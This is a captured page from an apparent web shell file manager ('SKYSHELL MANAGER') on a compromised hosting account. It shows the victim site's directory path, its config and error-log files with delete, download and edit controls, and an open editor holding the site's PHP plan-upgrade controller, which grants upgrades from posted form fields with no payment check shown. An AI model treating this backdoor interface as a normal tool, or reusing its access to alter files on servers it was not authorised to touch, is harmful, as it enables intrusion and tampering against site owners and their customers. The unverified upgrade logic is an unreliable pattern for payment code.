📁
SKYSHELL MANAGER-
🛒
PHP v7.4.33
Create Folder
Create File
Current Path:
home
/
oshofree
/
public_html
/
chbluxuries.com
/
chb_data
/
Name
Size
Permissions
Actions
📁
..
-
0755
🗑️
🔒
📄
config.php
7.06 KB
0444
🗑️
⬇️
✏️
🔒
📄
error_log
10939.93 KB
0644
🗑️
⬇️
✏️
🔒
Editing: Plans.php
<?php defined('BASEPATH') OR exit('No direct script access allowed'); class Plans extends My_Controller { public function __construct(){ parent::__construct(); } public function verify_payment(){ if($this->input->post('submit')){ $user_name =$this->input->post('user_name'); $user_id =$this->input->post('user_id'); $plan_type =$this->input->post('plan_type'); $plan_id =$this->input->post('plan_id'); $plan_mode =$this->input->post('plan_mode'); $action =$this->Admin_db->select_plan($user_id,$plan_type,$plan_id,$plan_mode); if($action == true){ $data['alert'] ='<div class="alert alert-success" role="alert"><strong>Success:</strong> Upgrade successful! </div>'; $this->session->set_flashdata('main_alert',$data['alert']); redirect('Dashboard/upgrade_plan/'.$user_id); }else{ $data['alert'] ='<div class="alert alert-danger" role="alert"><strong>FAILED:</strong>Oops!! Operation failed, This User has never selected a plan before as a result can\'t upgrade user plan'.br().'SOLUTION: Let User select a plan first </div>'; $this->session->set_flashdata('main_alert',$data['alert']); redirect('Dashboard/upgrade_plan/'.$user_id); } }else{ $data['alert'] ='<div class="alert alert-warning" role="alert"><strong>Success:</strong>Oops!! You forgot to click on the upgrade button </div>'; $this->session->set_flashdata('main_alert',$data['alert']); redirect('Dashboard/upgrade_plan/'.$user_id); } } }
💾 Save Changes